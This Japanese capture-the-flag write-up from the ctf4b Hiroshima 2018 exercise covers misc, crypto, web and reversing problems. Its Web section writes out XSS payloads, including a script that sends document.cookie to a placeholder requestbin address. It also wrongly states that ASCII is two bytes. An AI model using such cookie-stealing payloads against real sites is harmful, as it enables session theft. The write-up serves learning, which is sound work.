ctf4b広島CTF演習Write-up
ここまでのお話
上記記事の最後に触れたCTF演習の解法などまとめです。
もし今日一昨日のbin300が解けたら適当に他の問題も含めて人生初のWrite-upもどきを書こうという気になっています
— はすみ (@hsm_hx) 2018年9月3日
正直自分が解いた問題そんな難しいのもなかったし書くことないかな…とか思ってたんですが、回答者0人だったBinary300が解けたのと「本当に書きたくなったときのための練習台にはちょうどいいのでは」というので書いてみることにしました。
Misc
Welcome(100)
問題文に書いてあるFlagをコピペして終わりです。
Calc(200)
簡単な暗算を100問やって終わりです。
人力で37問ぐらい解いたところでtypoして泣いてやめました。頭の良い人はスクレイピングでスマートに解いたらしいです。
解いておけばよかった問題ランキング堂々の1位。
handSQL(300)
問題サーバに接続してSQL文を500回実行する問題です。
サーバに接続したときに出てくる問題文をよく読むと「parsable SQL」とか書いてあったはずですが、頭が悪いので「テーブル名からわかんねえ!はい死んだ!」とか喚いてました。
同じ文を実行するとエラーで落ちるので、select * from xxx
の*
とかxxx
とかの部分をlinuxのシステムファイル名とかから引っ張ってくると良かったらしいです。
隣の方はExcelで無限にSQL文を錬成して打ち込んだらしいです。頭良い~!
Crypto
Go Fast(100)
2の何万乗のmod何かを出すとかの問題でした。
電卓とかで計算すると2の何万乗が大きすぎて失敗するので、iPythonで適当に動かしてsubmitしました。
Factoring(100)
大きな整数n=p*q(p,qは素数)が与えられ、p+qを求めるという問題でした。
これもネットとかに落ちてるような素因数分解サイトに計算させると素数の桁が大きすぎて失敗するので、Pythonで適当に素因数分解して結果を足し合わせます。
結構時間がかかるので、うまく出るか心配になりながらその間に他の問題を解いてました。
SimpleRSA(200)
p, q, e, cが与えられるので、公開鍵と秘密鍵を計算してcを復号するとかそんな感じの問題だったと思います。
数学知識のなさ故にRSAを半分も理解できなかったぼくは早々に諦めました。数学勉強します。
Find Primes(300)
cryptoわから~~~ん!!!って言いながら放り投げました。
問題文すら読まなかった気がします。ごめんなさい…
Web
make alert!(100)
フォームのみのシンプルなページが渡されるので、フォームに
<script> alert(); </script>
を渡すと出てきたダイアログにフラグが表示されます。
Contact Revenge(200)
演習で用いたものと同じ、タイトルと本文を入力するとそれが表示されるという簡単な投書箱のようなwebページが渡されます。
タイトルと本文にXSSを投げてみると本文はhtmlタグがエスケープされないので、本文にXSSを投げていきます。
演習で扱った攻撃方法を適当に試してみると、
<script> document.location =“http://[requestbinのアドレス]?”+ document.cookie; </script>
で行けました。確か。どうやらcookieにFlagが隠されていたようです。
Contact Re-Revenge(200)
上記の問題と同じwebページが渡されます。
しかしながら、今回は"script"という単語を含む投稿は弾かれてしまいます。
例として、<img>
のonclick
属性の中にはjsが記述できるので、この中にXSSを仕掛けるとFlagが奪取できます。
Flagの在り処はContact Revengeと同じだと風の噂で聞きました。
後から聞いた話ですが、何もjsを使わなくとも攻撃サーバへのリンクを踏ませれば良い話なので、<img src="">
を使ってもFlagは得られたらしいです。なるほど。
焦っててonclickが頭に出てきませんでした。完全敗北。通してれば良かった問題ランキング第2位です。
Reversing
Raw(100)
バイナリを落としたらあとはやるだけstring
コマンドで中身を覗きます。
バイナリ解析系の問題は一応最初にfile
→chmod +x
して実行→strings
するようにしてます。
strings bin100 | grep ctf4b
するとFlagが出てきます。
Review(200)
この問題から実行の流れを追わないと解けないようになっています。
objdump -M intel -S bin200_1
でintel記法のアセンブリに逆アセンブルして流れを追っていきます。
手元に何故かバイナリファイルがなかったのですが、実行の流れとしてはfor文で5回ほどループして簡単な乗算をしています。
アセンブリを読んでいって、最後にraxに入っている値を計算で求め、ファイルを実行し入力するとFlagが吐かれる…とかだったと思います。手元には120という演算結果のメモしか残っていませんでした。
Function(200)
これもまたアセンブリでシュッとやっていきます。
アセンブリを読んでいくと、genFlag
とかいう見るからに怪しい関数があり、中に
mov BYTE PTR [rbp-0x40], 0x63 mov BYTE PTR [rbp-0x3f], 0x74 mov BYTE PTR [rbp-0x3e], 0x66
というようにスタックに16進数を放り込んでる行がずらっと40行ぐらい並んでいます。
なんかパッと見ASCIIっぽいのでそのまま雑に変換するとFlagが出ます。
Cipher(300)
ctf4b広島閉幕から4日、やっと解けました(2018/09/05)。
本戦中にもチラッと読んで何かしらhexのxor取ってるよな~これ計算したらASCII出てきそうやな~というのは検討付いてたんですが、普通に時間足りなくなりそうだったのでやめました。
IDAで実行の流れを追ってみると、_check_flag
という関数の中で30行ほどスタックにhexを投げ込んだあとなんかループしてるなあという感じになっています。
下はIDAで解析した_check_flag
の一部分のみを載せています。この少し前にスタックにhexを投げ込んだりしています。
上の画像の上部でstrlen
を呼び出していて、ループ本体(分岐ブロック右側)の最後にadd [rbp+var_4C], 1
でインクリメントしてるなあ~というのがわかります。
また、画像には映っていないのですが、strlen
を呼び出す直前に
mov edi, 0 call _srand
とあり、ediが関数に渡す引数であることから乱数のseed値として0を渡していることがわかります。
ここでループ本体を見てみると、
call _rand xor eax, r12d
という行があります。ここでeaxには_rand
の返り値が格納されているため、seedを0とする乱数とr12dとでxor演算を行っていることがわかります。
以上から、まあ大体strlenで取得した文字数(ここではスタックに投げたhexの数)分、出てきた乱数とxor演算してる感じかな~とアタリを付けました。半分は勘です。
手元でさくっと乱数を出してiPythonを使って演算してみたところ1,2文字目にct
が出てきたので、「これはctf4b
と始まるに違いない」と確信し適当にCでプログラムを書いてフラグを出しに移りました。
ASCIIは2byteなので、生成する乱数も下位2byteだけ抽出してxorを取っています。
一応使ったコードを下に示します。
おわりに
Cipherめっちゃ手こずった割には解法が単純だったので悔しい気持ちです。マジで悔しい。
Reversingが思った以上に楽しかったのでCTFはこれからReversingメインでやっていきたいなあの気持ちが生えました。
この後はちょっとずつハリネズミ本リベンジしていきたいと思います。楽しみ~